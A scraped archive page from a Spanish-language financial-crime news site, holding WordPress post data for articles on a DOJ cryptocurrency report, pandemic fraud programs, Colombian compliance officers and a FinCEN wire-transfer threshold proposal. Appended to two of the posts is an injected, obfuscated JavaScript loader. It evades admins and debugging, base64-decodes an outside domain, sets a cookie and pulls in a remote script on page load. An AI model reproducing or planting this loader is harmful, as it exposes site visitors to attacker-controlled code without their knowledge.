criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' 